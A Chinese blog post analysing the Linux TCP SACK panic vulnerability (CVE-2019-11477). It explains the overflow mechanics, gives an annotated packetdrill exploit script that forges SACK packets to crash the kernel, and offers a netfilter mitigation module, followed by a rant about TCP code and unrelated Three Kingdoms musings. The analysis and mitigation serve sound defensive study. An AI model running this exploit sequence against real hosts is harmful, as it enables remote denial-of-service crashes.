您的位置：首页 > 理论基础 > 计算机网络

TCP SACK panic漏洞的解释和思考

2019-08-20 22:45 1646 查看

最近几天一直在和CVE-2019-11477 SACK panic漏洞进行纠缠，挺有意思的。

细节就不多说了，给出几个链接自己看吧：
https://access.redhat.com/security/vulnerabilities/tcpsack
https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-001.md
我自己也第一时间写了一篇。网上已经有很多文章描述这个漏洞的概览，危害以及如何补救，但是若要理解该漏洞的原理以及触发条件，还是要看我写的这篇：
CVE-2019-11477漏洞详解详玩：【已删改】 https://www.geek-share.com/detail/2771608668.html

至于说补救的方法，那太多了，一会儿我会给出一个自己的，然后，我得喷一通，这是惯例。

现在先来熟悉一下该漏洞原理以及一个EXP流程的说明。

在 CVE-2019-11477漏洞详解详玩 中已经描述过的原理，本文便不再赘述，本文是一个关于 如何做以及为什么会这样 总结，虽是总结，却也不简单。

先从数据的发送方式说起。

若想利用这个漏洞，攻击普通的网络服务器不一定可行，若要攻击成功或者说有成功的非0概率，服务器发送数据的方式必须满足一定的要求，即 以分散/聚集IO方式发送非线性数据同时开启GSO 才可以。

因为只有这样，被SACK的数据段才有可能会合并成一个大段，然后在总长和mss做除法求gso_segs时发生溢出。

可以看到，分散/聚集IO是关于用户进程和内核之间的IO接口，而GSO则是内核和网卡之间的IO接口，有了这两者，即可以大大减轻内核本身的负担。而内核本身，即可以将更多的时间片花在如何高效组织和利用数据上了。

比如，将覆盖多个skb的sack段合并成一个skb。

Linux内核设计如此颇值得深思。我们知道，之所以会在收到SACK段后会尝试合并skb，即将跨越多个skb的SACK段合并成一个，并不是多此一举，而是为了性能考虑。

在Linux 4.15内核之前，TCP的 已发送未确认队列 是以链表组织的，如今的网络在硬件方面，其介质质量越来越好，网络带宽越来越大，接收端主机的内存越来越大，对应的软件方面，TCP的发送窗口便随之增加，DBP持续增长，这意味着TCP的 已发送未确认队列 越来越长，而 长链表 在增删查方面是低效的，所以便有三种趋势的优化方向：

尝试将链表变短，即合并操作；
改变数据结构，比如用树代替链表；
改变数据结构的同时，尝试元素合并。

然而理论上如此在具体操作上并非如此简单，并非所有的TCP 已发送未确认队列 的被SACK的连续skb都是可以合并的。也就是说，合并操作这件事是在满足一定条件下才会发生的。

我们先看下普通的数据发送方式：

可见，skb本身就是数据的容器。

这种数据发送方式下，就不能合并skb，因为合并操作涉及大量的内存拷贝，这种性能损耗会抵消掉合并skb带来的好处，更何况，有合并就有分割，这又会有额外的内存损耗。

如果服务器以这种方式发送数据，那么注定攻击不会成功。

但是对于攻击者而言，幸运的是，如今的高性能服务器都不是用这种普通的方式吐数据的，而几乎都是采用了更加高效的方式，即分散/聚集IO的Zerocopy方式，不管是writev调用还是sendfile等等，我们看一下：

这种方式，skb不再是数据的容器，而仅仅是一个 把手(handle) 。

对于攻击者而言，攻击这种高性能高并发的服务器，影响才够大，效果才够好。而恰恰这种服务器才是可能被攻击的，才是最容易被攻击的。

我们回过头来看看漏洞利用的前提条件：

以分散/聚集IO方式每次发送32Kb的非线性skb数据并且开始GSO。
近一周查资料，请教朋友同事，目前的WEB服务器，各种代理服务器几乎都是满足的。
拥塞窗口快速增加到 已发送未确认队列 容纳17×3276817\times 3276817×32768字节的大小。
目前的高性能服务器带宽很大，很容易快速增窗，在积累攻击数据的时候，为了防止丢包造成减窗，伪造重复积累ACK即可。

在满足上面两个大前提的条件下，我给出一个EXP的packetdrill脚本模拟，以一个实际的方式来展示如何利用该漏洞，而不是长篇大论：

0   socket(..., SOCK_STREAM, IPPROTO_TCP) = 3
+0  setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0

+0  bind(3, ..., ...) = 0
+0  listen(3, 1) = 0

+0  < S 0:0(0) win 32792 <mss 48,sackOK, TS val 100 ecr 0,nop,wscale 7>
+0  > S. 0:0(0) ack 1 <...>

+0 < . 1:1(0) ack 1 win 257
+0  accept(3, ..., ...) = 4

+0  write(4, ..., 400) = 400
// ...
// 上述增窗过程，多伪造些dsack包，促使被攻击侧的reordering不断增加，使其不轻易进入快速重传

+0 < . 1:11(10) ack 1 win 257 <sack 37:73 109:145,nop,nop>
+0 < . 21:31(10) ack 1 win 257 <sack 37:73 109:145,nop,nop>
+0 < . 41:51(10) ack 1 win 257 <sack 37:73 109:145,nop,nop>
+0 < . 61:71(10) ack 1 win 257 <sack 37:73 109:145,nop,nop>

+0.0 < . 41:51(10) ack 1 win 257 <sack 109:145,nop,nop>
// 上述的伪造包实现了两件事：
// 1. “让被攻击侧的raw data mss=8”这件事，即发送3个sack段，迫使被攻击侧发包时携带3段sack段。
// 2. 37:73这个段的sack为了促使被攻击侧在超时时认定sack reneging，将所有包标记LOST，为重传tcp_fragment中分割做除法求gso_segs而溢出作准备。

+0.0 < . 41:51(10) ack 1 win 257 <sack 37:73 109:217,nop,nop>
+0.0 < . 61:71(10) ack 1 win 257 <sack 37:73 109:217,nop,nop>
+0.0 < . 61:71(10) ack 1 win 257 <sack 37:73 109:253,nop,nop>
+0.0 < . 61:71(10) ack 1 win 257 <sack 37:73 109:289,nop,nop>
+0.0 < . 61:71(10) ack 1 win 257 <sack 37:73 109:325,nop,nop>
// ... 每个伪造sack往后推进一些，大小随意，不要过度超过109+17*32768即可，因为超过没有意义，skb携带的frags最多也就17个。
+0.0 < . 61:71(10) ack 1 win 257 <sack 37:73 109:109+17*32768,nop,nop>
// 以上伪造的包会促使被攻击侧合并sack段，将109:109+17*32768合并成一个大段，这里面承载了17*32*1024字节的数据

+0.0 < . 61:71(10) ack 37 win 257 <sack 109:109+17*32768,nop,nop>
// 以上报文会让被攻击侧认定SACK reneging，因为它将una推进到了一个曾经sack的位置，却没有覆盖它！

// ----
// 等待超时，此时被攻击侧会将所有的未确认包全部标记为LOST，由于认定SACK reneging，所以包括已经被SACKed的包
// ----

// ----
// 超时重传，cwnd降为1，由于需要sack攻击侧的3个sack段，raw data mss空间降为8，重传37:45。
// ----

+0.2 < . 61:71(10) ack 61 win 257 <sack 37:73 353:109+17*32768,nop,nop>
// 上述伪造包是攻击侧收到重传的37:45之后发出的，采取下列措施之一
// 1. 伪造一些攻击sack序列(即109:109+17*32768)之后的sack段。
// 2. 将una向前推进到45或者更高但不超过109。
// 用以清空inflight，提高cwnd，以促使被攻击侧重传合并后的109:109+17*32768中的前8字节109:117，目的乃是在tcp_fragment中做除法，溢出！

// ----
// 被攻击侧重传合并后的109:109+17*32768中的前8字节109:117，迫使余下的117:109+17*32768与mss做除法时溢出！
// ----

// ----
// 攻击侧什么都不做，等待超时，此举迫使被攻击侧清除已经重传的包的RETRANSMIT标记，由于攻击侧没有收到任何伪造的sack包，所以send queue将全部LOST。
// ----

+0.4 < . 61:71(10) ack 61 win 257 <sack 37:73 109:117,nop,nop>
+0.4 < . 61:71(10) ack 61 win 257 <sack 37:73 109:109+17*32768-8,nop,nop>
// 攻击侧收到被攻击侧的超时重传包时，伪造上述sack报文，这将促使一次新的合并，即117:109+17*32768-8并入109:117(它们本来就合并在一起，由于重传时tcp_fragment被split)
// 此时的合并将会造成Panic，注意并入109:117的sack并非一直到末尾109+17*32768，而是少了8个字节，这是为了凑减法，用除法求pcount:
// len = end_seq - TCP_SKB_CB(skb)->seq;
// pcount = len/mss 按照我们的假设，它相当于(17*32768-8-8)/8
// 若要按照上述算法计算tcp_shifted_skb的参数pcount，必须下列条件不为真：
// in_sack = !after(start_seq, TCP_SKB_CB(skb)->seq) && !before(end_seq, TCP_SKB_CB(skb)->end_seq);
// 否则，pount将会直接取117:109+17*32768满skb的gso_segs。
// 所以必须再次分割！

// 紧接着被攻击侧在尝试合并tcp_fragment分割的两个小段时，会进入tcp_shifted_skb函数：
// tcp_shifted_skb的pcount参数为(17*32768-8-8)/8，unsigned int型，它是真实的值，而其skb参数的gso_segs则为溢出回绕的小值，故而在tcp_shifted_skb中命中BUG_ON！
// ----

// 这里，被攻击侧系统已经崩溃！
// 总结，造成系统Panic的根源在于：
// 1. 第一次合并后重传包时，tcp_fragment将合并包分成两个，一个8字节小包，一个剩余大小的大包，计算大包的gso_segs时，字段溢出；
// 2. 根据伪造序列进行第二次合并时，tcp_shift_skb_data会尝试将第1步被tcp_fragment拆分后的包再次合并(注意参与合并的大包末尾少8字节)，在tcp_shifted_skb中Panic！

// 再也到不了这里了，因此我注释掉它。
// +xx < . 1:1(0) ack 109+17*32768+x win 257

全程值得注意的一点就是，攻击者时时刻刻都要beat cwnd！必须控制好被攻击侧的cwnd，而这并不容易，因为被攻击侧的cwnd是通过各种因素通过自己的拥塞控制算法自行计算出来的，所以攻击者依然要使用一些诱导措施，去影响被攻击侧的cwnd计算。做到：

不能太小，小到没有机会重传以及合并的skb，从而没有机会在tcp_fragment中做除法。
不能太大，大到重传时连续调用tcp_fragment，将剩余skb的总长度减到了溢出阈值以下。

哈哈，这本身就是一件很好玩的事情。

理解CVE-2019-11477这个漏洞如何被利用其实并不简单，虽然流程上并没有什么复杂之处，但是在Linux内核的TCP实现上，非常多的trick，代码非常凌乱，if语句非常多，超级多的垃圾细节，我自己连修改内核，上systap，改tcpprobe，绕过这个绕过那个，几乎熬了两个通宵才完成，最后发现没啥动机利用这个漏洞干点什么事，反而又撸了一遍TCP的源码，我记得曾经承若不再玩TCP了，有点恶心了，看来没能兑现。

一句话概括，你要对TCP在Linux内核的实现非常熟悉，熟悉程度要细化到每一个if语句。

其实有更简单的方法证明这个漏洞确实存在，只是证明，该证明无法用于漏洞利用。

也就是说缩小数据类型宽度，强制一个POC(proof of concept)…很简单，把gso_segs从unsigned short改为unsigned char即可，这样我们无需什么非常大的窗口就能模拟出BUG_ON的条件。

关于修复，Netfilx官方给出的以下patch：
https://github.com/Netflix/security-bulletins/tree/master/advisories/third-party/2019-001
足以解决问题。同时，如果不想给kernel打patch的话，各种规避方案也是有很多。当然关闭sack这种就不建议了，性能损耗太大了。

review了很多规避方案，以下的方案甚为精妙：

当TCP建连协商时，如果mss小于某个足够危险的值，就用iptables -j TCPOPTSTRIP --strip-options sack把sackOK给清理掉。

但是这个方案无法封堵ICMP Need Frag报文中途改变mss的情况，于是就需要再写一条规则来DROP掉携带小于足够危险的mtu的ICMP Need Frag报文，这就增加了事情的复杂性，过度依赖外部的iptables配置了。

何不写一个Netfilter模块搞定一切呢？其实就是把上面两条iptables的内核相关模块实现抄写到一个独立的Netfilter模块中而已。

但是我并不准备在这个Netfilter模块中阻滞小mss协商包的sackOK选项以及阻滞小mtu的ICMP通告，而是换了一种思路，即实时监控TCP连接的mss值以及到达的sack段，一旦mss小于某个足够危险的值，便清除掉到达包的sack段，以阻止潜在的sack序列攻击。

随手撸的代码如下，当然，大部分也是抄的：

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>
#include <net/tcp.h>

static inline unsigned int optlength(const u_int8_t *opt, unsigned int offset)
{
if (opt[offset] <= TCPOPT_NOP || opt[offset+1] == 0)
return 1;
else
return opt[offset+1];
}

unsigned int dropsack_hook(const struct nf_hook_ops *ops, struct sk_buff *skb,
const struct net_device *in, const struct net_device *out,
const struct nf_hook_state *state)
{
struct iphdr *iph;
struct tcphdr *th = NULL, _tcph;
__be32 saddr, daddr;
__be16 sport, dport;
u_int8_t o, n, curr_tg, *opt;
u8 _opt[15 * 4 - sizeof(_tcph)];
unsigned int i, j, optlen, optl;
int  tcp_hdrlen;
struct sock *sk;
struct tcp_sock *tp;

if (!skb) {
goto pass;
}

iph = ip_hdr(skb);
if (!iph) {
goto pass;
}

if(iph->version != 4) {
goto pass;
}

if (iph->protocol != IPPROTO_TCP) {
goto pass;
}

th = skb_header_pointer(skb, ip_hdrlen(skb), sizeof(_tcph), &_tcph);
if (th == NULL) {
goto drop;
}

if (th->doff*4 < sizeof(*th)) {
goto drop;
}

optlen = th->doff*4 - sizeof(*th);
if (!optlen) {
goto pass;
}

opt = skb_header_pointer(skb, ip_hdrlen(skb) + sizeof(*th), optlen, _opt);
if (opt == NULL) {
goto drop;
}

if (!th->syn) {
goto normal;
}
goto syn;

syn:

for (i = 0; i < optlen; ) {
if (opt[i] == TCPOPT_MSS
&& (optlen - i) >= TCPOLEN_MSS
&& opt[i+1] == TCPOLEN_MSS) {
u_int16_t mssval;

mssval = (opt[i+2] << 8) | opt[i+3];

if (mssval >= 64) {
goto pass;
}
curr_tg = TCPOPT_SACK_PERM;
goto clean;
}
if (opt[i] < 2)
i++;
else
i += opt[i+1] ? : 1;
}
goto pass;

normal:
// 对于每一个TCP入包，均关联其到一个established socket，然后检测其当前mss。
saddr = iph->saddr;
daddr = iph->daddr;
sport = th->source;
dport = th->dest;
sk = inet_lookup_established(dev_net(skb->dev), &tcp_hashinfo,
saddr, sport, daddr, dport,
in->ifindex);
if (!sk) {
goto pass;
}
// 该socket是可以early demux的，同时绕过route查找和TCP层的socket查找。
skb_orphan(skb);
skb->sk = sk;
skb->destructor = sock_edemux;

tp = tcp_sk(sk);
if (tp->mss_cache > 64) {
goto pass;
}
curr_tg = TCPOPT_SACK;

clean:
tcp_hdrlen = th->doff * 4 - sizeof(_tcph);
for (i = 0; i < optlen; i += optl) {
optl = optlength(opt, i);

if (i + optl > tcp_hdrlen)
break;

if (opt[i] != curr_tg)
continue;

for (j = 0; j < optl; ++j) {
o = opt[i+j];
n = TCPOPT_NOP;
if ((i + j) % 2 == 0) {
o <<= 8;
n <<= 8;
}
inet_proto_csum_replace2(&th->check, skb, htons(o),
htons(n), 0);
}
memset(opt + i, TCPOPT_NOP, optl);
}

pass:
return NF_ACCEPT;

drop:
return NF_DROP;
}

static struct nf_hook_ops dropsack_ops = {
.list     = {NULL, NULL},
.hook     = dropsack_hook,
.owner    = THIS_MODULE,
.pf       = AF_INET,
.hooknum  = NF_INET_PRE_ROUTING,
.priority = NF_IP_PRI_FIRST,
};

static int __init tcp_dropsack_init(void)
{
int ret = 0;

if (nf_register_hook(&dropsack_ops) < 0) {
printk(KERN_INFO "tcp_dropsack: register netfilter dropsack_ops failed.\n");
ret = -ENODEV;
}
return 0;
}

static void __exit tcp_dropsack_exit(void)
{
nf_unregister_hook(&dropsack_ops);
}

module_init(tcp_dropsack_init);
module_exit(tcp_dropsack_exit);
MODULE_AUTHOR("marywangran");
MODULE_LICENSE("GPL");

现在到了让我喷一会儿的时间。

不知大家还记不记得OpenSSL的Heartbleed漏洞CVE-2014-0160：
https://en.wikipedia.org/wiki/Heartbleed

之所以重新提到这个和Linux内核八杆子打不着，和TCP八杆子打不着的漏洞，那是因为在我看来五年前的CVE-2014-0160心血漏洞和CVE-2019-11477 SACK panic漏洞在风格上，亲如兄弟，如出一辙：

根植于混乱，出世于混沌。实现太太太乱了，代码太恶心了！

你想对代码的每一行，每一个参数细节做合规性检查，简直不可能！不可能！不可能！

是的，心血漏洞后我为此喷过OpenSSL：
令人作呕的OpenSSL： https://blog.csdn.net/dog250/article/details/24552307

事后，我也做了反思，视野要开阔，人无完人，孰能无过…

直到前几天，还有朋友问我关于OpenSSL的问题，不过我早就疲倦了，不想作答：

问题不是 为什么还在用 ，而是在于 已经用了 ，而是在于 没有别的可以用！

之前有人怼我怼的好啊， “你给OpenSSL资助一分钱了吗？你给OpenSSL贡献一行代码了吗？没有就别瞎逼逼！”

怼的很有道理，也确实，OpenSSL非常不容易了，不管怎么说，赛里布瑞特吧！

说回TCP。

TCP已经30多年了，早就该死掉了，之所以没有死就是因为 人们已经用了 以及 没有别的可以替代 。

我厌倦了去陈列为什么TCP该死掉的事实，一方面是因为真正懂的人其实并不多，另一方面，在以此为饭碗的人们面前去陈列这些事实，面对的十有八九不会是客观的讨论而是被怼，所以，为了避免重蹈当时喷OpenSSL的覆辙，罢了。

不过还是要稍微喷一下。

抛开生态而言，纯技术上，TCP真的就是垃圾，就和OpenSSL一样！TCP是垃圾：

其实现代码中处处都是trick，编程大牛们，泰斗们说，代码最忌讳的就是trick，但TCP的实现里全是。
绝大多数的实现，比如Linux/BSD已经完全不可维护，不可升级进化，BBR虽是创举，但我觉得不会再有第二次。

如果谁想针对TCP实现的一个点做优化或者扩展啥的，则牵一发而动全身，解决了一个问题，却引入新的问题，代码已经杂糅耦合成了一团乱麻。你改动的任何代码都保不准是否会在别的地方被误解甚至误用。

但是，每天总是会有新的trick诞生，从而也就滋生了新的BUG，具有讽刺意味的是，代码的作者并不知道什么时候在什么情况下就会飞来一只BUG，不得不靠BUG_ON来捕获它们，然后以宕机为代价，予以修复。

以至于，扫一下Linux内核TCP方面的所有BUG_ON，不出意外，定能扫出新的漏洞，定有收获，要不要试一下呢？

哈哈哈哈哈哈～～

程序员喜欢确定的东西，喜欢可以推导出来的结果，不喜欢被规定或者被绑架的结论，所以程序员往往较真于此，但答案往往都是简单，不得已的规定而已。

恰恰TCP的实现这种很垃圾的东西，浪费了程序员大量的时间和精力。

这里不说TCP，以IP说话。

比如，有人问， “为什么IP报文最长能容纳65535个字节的数据？为什么是2个字节表示长度，2个半字节不行吗？” 如果你回答 “RFC就是这么规定的。” 往往提问者不会满意… 总是觉得用2个字节表示长度是另有蹊跷。

但是，这里必须转折。

大部分人虽不满足于结论，但往往对于过程也是浅尝辄止。你知道 大端机和小端机 的区别，但是为什么会有这两种设计？它们的优缺点分别是什么？你搜一下答案，铺天盖地的都是《格列佛游记》里的那一段。几乎没有人从类型转换，protocol解析效率的角度去看这个问题。

好了，写完了。

把《三国》看完了，不能平静。中国如若能维持三分天下，五胡便不会乱华，至少影响不会那么大。

都喜欢司马家族的老谋深算，奉为官场职场楷模，但我并不喜欢这种隐忍，至少在我看来，司马家族和刘皇叔一样，是自私的，格局偏安在自身。

我还是喜欢曹操那种家国天下的格局，北拒胡虏，南抗孙刘，当时的历史形势下，不得已嘛，只有曹操的做法是对的，其他人都是浑水摸鱼。看看几乎同时期的罗马帝国，三世纪危机，同样是混战。把视野拉大，就会发现，司马家族以及孙刘，终成笑话。

虽说是演义，又拍成了电视剧，但还是喜欢其中的一些话：
“也许你昨天看错了我曹操，可是今天呢，你又看错了，但是我仍然是我，我从来都不怕别人看错我。”

对了， “何不食肉糜？” 这个是司马家的人说的，而且可能是真的。

曹操真的是很牛逼的经理，看看他用的人就明白了。三国一并考虑，下面的组合如何：

谋士：郭嘉，陆逊。霸道之后有均势。
将军：徐晃，马超。这俩人都比较生猛，而且专业素质又高。
将军：许褚，赵云。这俩人都是禁卫军经理。
将军：魏延，吕蒙。这俩人善于自由发挥。
精神&后勤：程普，黄忠。这俩人精神领袖，战争动员。

反正，张飞，关羽，诸葛亮这种肯定是被排除的，炫耀技巧之辈，只是显得牛逼，吵吵闹闹的嘴炮之徒罢了。

浙江温州皮鞋湿，下雨进水不会胖。

内容来自用户分享和网络整理，不保证内容的准确性，如有侵权内容，可联系管理员处理

标签：

相关文章推荐

新的分享

章节导航